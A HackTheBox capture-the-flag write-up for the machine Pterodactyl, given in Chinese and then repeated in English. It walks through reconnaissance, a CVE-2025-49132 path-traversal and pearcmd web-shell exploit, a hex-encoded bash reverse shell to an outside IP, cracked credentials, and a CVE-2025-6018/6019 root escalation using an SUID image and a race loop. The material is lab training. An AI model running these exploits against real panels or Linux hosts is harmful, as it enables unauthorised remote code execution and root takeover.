HackTheBox Pterodactyl Writeup
HackTheBox Pterodactyl 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。
htb pterodactyl
Information Gathering
# Nmap 7.98 scan initiated Mon Feb 9 18:09:25 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.219.125
Nmap scan report for 10.129.219.125
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 9 18:09:35 2026 -- 1 IP address (1 host up) scanned in 9.91 seconds
Dirsearch
dirsearch -u [http://pterodactyl.htb/](http://pterodactyl.htb/) -e txt,html,php
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: txt, html, php | HTTP method: GET | Threads: 25 | Wordlist size: 10403
Output File: /home/kali/Work/HTB/Pterodactyl/reports/http_pterodactyl.htb/__26-02-11_15-51-37.txt
Target: http://pterodactyl.htb/
[15:51:37] Starting:
[15:51:54] 403 - 555B - /.ht_wsr.txt
[15:51:54] 403 - 555B - /.htaccess.bak1
[15:51:54] 403 - 555B - /.htaccess.orig
[15:51:54] 403 - 555B - /.htaccess_sc
[15:51:54] 403 - 555B - /.htaccess_orig
[15:51:54] 403 - 555B - /.htaccess.save
[15:51:54] 403 - 555B - /.htaccess_extra
[15:51:54] 403 - 555B - /.htaccess.sample
[15:51:54] 403 - 555B - /.htaccessOLD
[15:51:54] 403 - 555B - /.htaccessBAK
[15:51:54] 403 - 555B - /.htaccessOLD2
[15:51:54] 403 - 555B - /.htm
[15:51:54] 403 - 555B - /.html
[15:51:54] 403 - 555B - /.htpasswd_test
[15:51:54] 403 - 555B - /.htpasswds
[15:51:54] 403 - 555B - /.httr-oauth
[###### ] 30% 3214/10403 62/s [15:53:01] 200 - 920B - /changelog.txt
[15:54:05] 200 - 72KB - /phpinfo.php
[15:54:14] 403 - 555B - /Public/
发现版本 Pterodactyl Panel v1.11.10
该版本含有RCE漏洞:使用带有 locale 和 namespace 查询参数的 /locales/locale.json 文件执行任意代码,而无需经过身份验证
FFUF模糊测试虚拟主机
ffuf -w /usr/share/wordlists/dirb/big.txt -u [http://pterodactyl.htb](http://pterodactyl.htb/) -H "Host: FUZZ.pterodactyl.htb" -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 545ms]
添加该虚拟主机panel.pterodactyl.htb得到pterodactyl.htb的控制面板登陆界面
Vulnerability Analysis
CVE-2025-49132
核心原理:
- 入口:
/locales/locale.json端点未过滤参数。 - 路径遍历:
locale参数用../跳出语言目录。 - 文件锁定:
namespace参数指定目标文件名(后端自动补全.php)。 - 泄露机制:后端执行 PHP 文件(如
config/database.php),将其返回的数组误认为是语言包,转为 JSON 输出。
利用:
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database
获取到数据库账号密码pterodactyl:PteraPanel尝试ssh和页面登陆没用
RCE
在phpinfo中看到:
register_argc_argv=> Oninclude_path=> .:/usr/share/php8:/usr/share/php/PEAR
返回参数:config-create: must have 2 parameters, root path and filename to save as
说明第一个是内容,第二个是存储的地方
构造payload:
[http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+](http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+)<?=system('id')?>+/tmp/shell.php
如果直接浏览器利用会将特殊字符url编码,所以使用curl
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system('id')?>+/tmp/shell.php"
访问http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/+/tmp/shell.php
可以看到

实现反向shell:
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.18/443 0>&1'"|xxd -p|tr -d '\n'
# result:62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127
写文件
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system(hex2bin('62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127'))?>+/tmp/shell.php
实现反向shell
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../tmp&namespace=shell"
即可获取初步立足点(www的shell)
Exploitation (User Flag)
可以访问/home/phileasfogg3获取到user.txt
Privilege Escalation (Root Flag)
我们查看一下数据库
mariadb -u pterodactyl -p -h 127.0.0.1
# 输入密码:PteraPanel
获取到两个用户的hash,破解得到凭据:
phileasfogg3:!QAZ2wsx
CVE-2025-6018:PAM 身份伪装漏洞
这个漏洞正是你刚才提到的关于 ~/.pam_environment 的那个。
- 核心原理:存在于 PAM (Pluggable Authentication Modules,可插拔身份验证模块) 的配置中。在 openSUSE 和 SUSE Linux Enterprise 15 等系统中,
pam_env.so模块默认开启了user_readenv=1。 - 攻击向量:攻击者通过 SSH 登录后,在自己的家目录下创建恶意文件。
- 写入内容:
XDG_SEAT=seat0和XDG_VTNR=1。
- 写入内容:
- 结果:当系统处理登录会话时,Polkit (PolicyKit) 会被误导,认为你正坐在电脑前的物理终端上(即
allow_active状态)。 - 局限性:它本身只能让你获得“本地活跃用户”的权限,还不是真正的 Root,但它打开了通往高权限 Polkit 操作的大门。
CVE-2025-6019:libblockdev 逻辑漏洞
这个漏洞的影响范围更广,涉及 Ubuntu、Debian、Fedora 等几乎所有主流发行版。
- 核心原理:存在于 libblockdev(一个用于低层块设备操作的库)中,通过 udisks 守护进程触发。
- 漏洞细节:当系统调用 libblockdev 来调整 XFS (Extents File System) 文件系统大小时,程序会临时挂载该文件系统。
- 攻击向量:
- 攻击者创建一个带有 SUID (Set User ID) 权限 Shell 的恶意 XFS 镜像。
- 请求 udisks 调整该镜像的大小。
- 由于代码实现疏忽,在挂载过程中没有添加
nosuid(禁止 SUID)标志。
- 结果:攻击者在挂载瞬间执行镜像里的 SUID 程序,瞬间夺取 Root 权限。
利用CVE-2025-6018
phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg
检查SEAT是否为seat0,以及STATE是否为active
phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION UID USER SEAT TTY STATE IDLE SINCE
20 1002 phileasfogg3 seat0 pts/0 active no
1 sessions listed.
确认Polkit门票
phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"
VULNERABLE: Polkit is bypassed!
如果它没有弹出密码输入提示,且直接打印了 VULNERABLE,那么已经拿到了 CVE-2025-6019 的提权通行证。
利用CVE-2025-6019
第一步:在攻击机上制作恶意 XFS 镜像
# 1. 创建一个 300MB 的空镜像文件
dd if=/dev/zero of=xfs.image bs=1M count=300
# 2. 格式化为 XFS (Extents File System,扩展文件系统)
mkfs.xfs xfs.image
# 3. 挂载镜像并植入 SUID Shell 包装器
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt
# 4. 编写并编译一个简单的 SUID 提权程序(比直接拷贝 bash 更稳定)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell
# 5. 设置关键的 SUID (Set User ID) 权限
sudo chmod 4755 ./mnt/rootshell
# 6. 卸载镜像
sudo umount ./mnt
rm rootshell.c
sudo执行上述文件
上传到目标:sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/
第二步:在目标机上触发提权
# 1. 进入 /tmp 目录
cd /tmp
# 2. 设置回环设备 (Loop Device)
# udisksctl: User-space Disk Control Tool (用户空间磁盘控制工具)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"
# 3. 触发漏洞:利用 gdbus 调用 Resize 方法
# 这会强制 libblockdev (Block Device Manipulation Library) 以含有漏洞的方式挂载镜像
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
# 4. 寻找挂载点并运行提权程序
# 漏洞触发后,镜像会被挂载在 /tmp/blockdev-xxxx 下
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
echo "[-] Mount failed, check if you are an Active session."
else
echo "[+] Found mount at: $MOUNT_PATH"
$MOUNT_PATH/rootshell
fi
第三步:开启抢夺循环
# 1. 开启极其密集的后台抢夺器
(while true; do
target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -n "$target" ]; then
echo "[!] MOUNT DETECTED: $target"
$target/rootshell
break
fi
done) &
# 2. 获取抢夺器的进程 ID
SNATCHER_PID=$!
# 3. 重新设置循环设备 (假设使用你上传的镜像)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
# 4. 触发漏洞(多次触发增加成功率)
for i in {1..3}; do
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done
# 5. 如果成功,你会进入 Root Shell;如果不成功,杀掉抢夺器
kill $SNATCHER_PID 2>/dev/null
最后
phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt HTB pterodactyl
Information Gathering
# Nmap 7.98 scan initiated Mon Feb 9 18:09:25 2026 as: /usr/lib/nmap/nmap -p 22,80 -sC -sV -Pn -n -oN scan_results/nmap_details.txt 10.129.219.125
Nmap scan report for 10.129.219.125
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
| 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_ 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp open http nginx 1.21.5
|_http-title: Did not follow redirect to http://pterodactyl.htb/
|_http-server-header: nginx/1.21.5
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 9 18:09:35 2026 -- 1 IP address (1 host up) scanned in 9.91 seconds
Dirsearch
dirsearch -u [http://pterodactyl.htb/](http://pterodactyl.htb/) -e txt,html,php
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: txt, html, php | HTTP method: GET | Threads: 25 | Wordlist size: 10403
Output File: /home/kali/Work/HTB/Pterodactyl/reports/http_pterodactyl.htb/__26-02-11_15-51-37.txt
Target: http://pterodactyl.htb/
[15:51:37] Starting:
[15:51:54] 403 - 555B - /.ht_wsr.txt
[15:51:54] 403 - 555B - /.htaccess.bak1
[15:51:54] 403 - 555B - /.htaccess.orig
[15:51:54] 403 - 555B - /.htaccess_sc
[15:51:54] 403 - 555B - /.htaccess_orig
[15:51:54] 403 - 555B - /.htaccess.save
[15:51:54] 403 - 555B - /.htaccess_extra
[15:51:54] 403 - 555B - /.htaccess.sample
[15:51:54] 403 - 555B - /.htaccessOLD
[15:51:54] 403 - 555B - /.htaccessBAK
[15:51:54] 403 - 555B - /.htaccessOLD2
[15:51:54] 403 - 555B - /.htm
[15:51:54] 403 - 555B - /.html
[15:51:54] 403 - 555B - /.htpasswd_test
[15:51:54] 403 - 555B - /.htpasswds
[15:51:54] 403 - 555B - /.httr-oauth
[###### ] 30% 3214/10403 62/s [15:53:01] 200 - 920B - /changelog.txt
[15:54:05] 200 - 72KB - /phpinfo.php
[15:54:14] 403 - 555B - /Public/
Found version: Pterodactyl Panel v1.11.10
This version contains an RCE vulnerability: Arbitrary code execution without authentication using the /locales/locale.json file with locale and namespace query parameters.
FFUF Virtual Host Fuzzing
ffuf -w /usr/share/wordlists/dirb/big.txt -u [http://pterodactyl.htb](http://pterodactyl.htb/) -H "Host: FUZZ.pterodactyl.htb" -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pterodactyl.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.pterodactyl.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 545ms]
Added the virtual host panel.pterodactyl.htb to obtain the Pterodactyl control panel login interface for pterodactyl.htb.
Vulnerability Analysis
CVE-2025-49132
Core Principle:
- Entry Point: The
/locales/locale.jsonendpoint does not filter parameters. - Path Traversal: The
localeparameter uses../to escape the language directory. - File Targeting: The
namespaceparameter specifies the target filename (the backend automatically appends.php). - Information Disclosure Mechanism: The backend executes the PHP file (e.g.,
config/database.php), mistakenly treats the returned array as a language pack, and converts it to JSON for output.
Exploitation:
GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database
Obtained the database credentials pterodactyl:PteraPanel. Attempting SSH and web panel login was unsuccessful.
RCE
Observed in phpinfo:
register_argc_argv=> Oninclude_path=> .:/usr/share/php8:/usr/share/php/PEAR
Thus, it can be tested:
http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+...
Returns the parameter: config-create: must have 2 parameters, root path and filename to save as
This indicates the first parameter is the content, and the second is the storage location.
Constructing the payload:
[http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+](http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+)<?=system('id')?>+/tmp/shell.php
If exploited directly via a browser, special characters will be URL-encoded, so curl is used instead.
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system('id')?>+/tmp/shell.php"
Accessing http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/<?=system(hex2bin('6964'))?>+/tmp/shell.php
You can see:

Implementing a reverse shell:
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.18/443 0>&1'"|xxd -p|tr -d '\n'
# result:62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127
Writing the file:
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&+config-create+/&/<?=system(hex2bin('62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31302e31362e31382f34343320303e263127'))?>+/tmp/shell.php
Achieving the reverse shell:
curl -s -g -k "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../tmp&namespace=shell"
This provides an initial foothold (a www shell).
Exploitation (User Flag)
Can access /home/phileasfogg3 to obtain user.txt.
Privilege Escalation (Root Flag)
Let’s check the database.
mariadb -u pterodactyl -p -h 127.0.0.1
# Enter password: PteraPanel
Obtained hashes for two users, which were cracked to reveal credentials:
phileasfogg3:!QAZ2wsx
CVE-2025-6018: PAM Identity Spoofing Vulnerability
This vulnerability is the one you just mentioned regarding ~/.pam_environment.
- Core Principle: Exists in the configuration of PAM (Pluggable Authentication Modules). In systems like openSUSE and SUSE Linux Enterprise 15, the
pam_env.somodule hasuser_readenv=1enabled by default. - Attack Vector: After an attacker logs in via SSH, they create a malicious file in their home directory.
- Content to write:
XDG_SEAT=seat0andXDG_VTNR=1.
- Content to write:
- Result: When the system processes the login session, Polkit (PolicyKit) is misled into believing you are at the physical terminal in front of the computer (i.e., in the
allow_activestate). - Limitation: It only grants you “local active user” privileges, not true Root, but it opens the door to high-privilege Polkit operations.
CVE-2025-6019: libblockdev Logic Vulnerability
This vulnerability has a broader impact, affecting almost all major distributions including Ubuntu, Debian, Fedora, etc.
- Core Principle: Exists in libblockdev (a library for low-level block device operations) and is triggered through the udisks daemon.
- Vulnerability Details: When the system calls libblockdev to resize an XFS (Extents File System) file system, the program temporarily mounts that file system.
- Attack Vector:
- The attacker creates a malicious XFS image with an SUID (Set User ID) privileged shell.
- Requests udisks to resize the image.
- Due to an implementation oversight, the
nosuid(no SUID) flag is not added during the mount process.
- Result: The attacker executes the SUID program within the image at the moment of mounting, instantly seizing Root privileges.
Exploiting CVE-2025-6018
phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg
Check if SEAT is seat0 and STATE is active
phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION UID USER SEAT TTY STATE IDLE SINCE
20 1002 phileasfogg3 seat0 pts/0 active no
1 sessions listed.
Confirm the Polkit ticket
phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"
VULNERABLE: Polkit is bypassed!
If it does not prompt for a password and directly prints VULNERABLE, you have already obtained the privilege escalation pass for CVE-2025-6019.
Exploiting CVE-2025-6019
Step 1: Create the malicious XFS image on the attack machine
# 1. Create a 300MB empty image file
dd if=/dev/zero of=xfs.image bs=1M count=300
# 2. Format as XFS (Extents File System)
mkfs.xfs xfs.image
# 3. Mount the image and plant the SUID shell wrapper
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt
# 4. Write and compile a simple SUID privilege escalation program (more stable than copying bash directly)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell
# 5. Set the crucial SUID (Set User ID) permission
sudo chmod 4755 ./mnt/rootshell
# 6. Unmount the image
sudo umount ./mnt
rm rootshell.c
Execute the above file with sudo.
Upload to the target: sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/
Step 2: Trigger the privilege escalation on the target machine
# 1. Enter the /tmp directory
cd /tmp
# 2. Set up a loop device
# udisksctl: User-space Disk Control Tool
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"
# 3. Trigger the vulnerability: use gdbus to call the Resize method
# This forces libblockdev (Block Device Manipulation Library) to mount the image in a vulnerable way
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
# 4. Find the mount point and run the privilege escalation program
# After triggering the vulnerability, the image will be mounted under /tmp/blockdev-xxxx
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
echo "[-] Mount failed, check if you are an Active session."
else
echo "[+] Found mount at: $MOUNT_PATH"
$MOUNT_PATH/rootshell
fi
Step 3: Start the snatch loop
# 1. Start an extremely intensive background snatcher
(while true; do
target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -n "$target" ]; then
echo "[!] MOUNT DETECTED: $target"
$target/rootshell
break
fi
done) &
# 2. Get the snatcher's process ID
SNATCHER_PID=$!
# 3. Re-setup the loop device (assuming using your uploaded image)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
# 4. Trigger the vulnerability (multiple triggers increase success rate)
for i in {1..3}; do
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done
# 5. If successful, you will get a Root Shell; if not, kill the snatcher
kill $SNATCHER_PID 2>/dev/null
Finally
phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt